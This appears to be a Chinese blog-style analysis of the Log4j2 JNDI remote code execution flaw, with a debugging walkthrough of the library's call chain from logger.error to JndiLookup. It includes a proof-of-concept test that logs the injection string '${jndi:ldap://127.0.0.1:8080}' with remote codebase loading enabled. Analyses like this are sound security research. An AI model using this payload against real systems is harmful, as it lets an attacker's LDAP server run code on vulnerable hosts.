Apache Log4j2 RCE 分析
环境介绍:log4j-api-2.10.0.jar
环境采用如上的环境
https://www.o2oxy.cn/3893.html
如果JDK版本高于191 那么需要如下的设置
package com.bycuimiao.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test { private static final Logger logger = LogManager.getRootLogger(); public static void main(final String... args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://127.0.0.1:8080}"); } }
通过在
打上断点。然后再跟进去跟到log4j-api-2.10.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.tryLogMessage 打上断点 然后继续放行。下一次到了这个断点的时候查看一下是否如下:
如果有这么长的时候。那么就从第一步查看代码
error.log 调用的是如下的函数org\apache\logging\log4j\spi\AbstractLogger.error
public void error(String message) { this.logIfEnabled(FQCN, Level.ERROR, (Marker)null, (String)message, (Throwable)((Throwable)null)); }
然后调用到
org\apache\logging\log4j\spi\AbstractLogger.logIfEnabled
public void logIfEnabled(String fqcn, Level level, Marker marker, String message, Throwable t) { if (this.isEnabled(level, marker, message, t)) { this.logMessage(fqcn, level, marker, message, t); } }
继续下一层
@PerformanceSensitive private void tryLogMessage(String fqcn, Level level, Marker marker, Message msg, Throwable throwable) { try { this.logMessage(fqcn, level, marker, (Message)msg, (Throwable)throwable); } catch (Exception var7) { this.handleLogMessageException(var7, fqcn, msg); } }
他这个logMessage 其实是调用的是org\apache\logging\log4j\core\Logger.logMessage
public void logMessage(String fqcn, Level level, Marker marker, Message message, Throwable t) { Message msg = message == null ? new SimpleMessage("") : message; ReliabilityStrategy strategy = this.privateConfig.loggerConfig.getReliabilityStrategy(); strategy.log(this, this.getName(), fqcn, marker, level, (Message)msg, t); }
继续向下跟踪org\apache\logging\log4j\core\config\AwaitCompletionReliabilityStrategy.log
public void log(Supplier<LoggerConfig> reconfigured, String loggerName, String fqcn, Marker marker, Level level, Message data, Throwable t) { LoggerConfig config = this.getActiveLoggerConfig(reconfigured); try { config.log(loggerName, fqcn, marker, level, data, t); } finally { config.getReliabilityStrategy().afterLogEvent(); } }
org\apache\logging\log4j\core\config\LoggerConfig.log
public void log(LogEvent event) { if (!this.isFiltered(event)) { this.processLogEvent(event); } }
跟踪到fromcat 函数 format 判断是否已${ 开头。然后进入到替换函数中。
public void format(LogEvent event, StringBuilder toAppendTo) { Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { boolean doRender = this.textRenderer != null; StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo; int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder); } else { ((StringBuilderFormattable)msg).formatTo(workingBuilder); } if (this.config != null && !this.noLookups) { for(int i = offset; i < workingBuilder.length() - 1; ++i) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(this.config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { this.textRenderer.render(workingBuilder, toAppendTo); } } else { if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage)msg).getFormattedMessage(this.formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } } } } }
format 调用了replace 参数org\apache\logging\log4j\core\lookup\StrSubstitutor.classreplace
public String replace(LogEvent event, String source) { if (source == null) { return null; } else { StringBuilder buf = new StringBuilder(source); return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString(); } }
将替换后的 jndi:ldap://127.0.0.1:8080 放进了resolveVariable 函数 后调用了lookup 函数
public String lookup(LogEvent event, String var) { if (var == null) { return null; } else { int prefixPos = var.indexOf(58); if (prefixPos >= 0) { String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); String name = var.substring(prefixPos + 1); StrLookup lookup = (StrLookup)this.lookups.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware)lookup).setConfiguration(this.configuration); } String value = null; if (lookup != null) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (this.defaultLookup != null) { return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var); } else { return null; } } }
最终调用到org\apache\logging\log4j\core\lookup\JndiLookup.lookup 函数
public String lookup(LogEvent event, String key) { if (key == null) { return null; } else { String jndiName = this.convertJndiName(key); try { JndiManager jndiManager = JndiManager.getDefaultManager(); Throwable var5 = null; String var6; try { var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null); } catch (Throwable var16) { var5 = var16; throw var16; } finally { if (jndiManager != null) { if (var5 != null) { try { jndiManager.close(); } catch (Throwable var15) { var5.addSuppressed(var15); } } else { jndiManager.close(); } } } return var6; } catch (NamingException var18) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18); return null; } } }
最终触发漏洞
jndiManager.lookup(jndiName)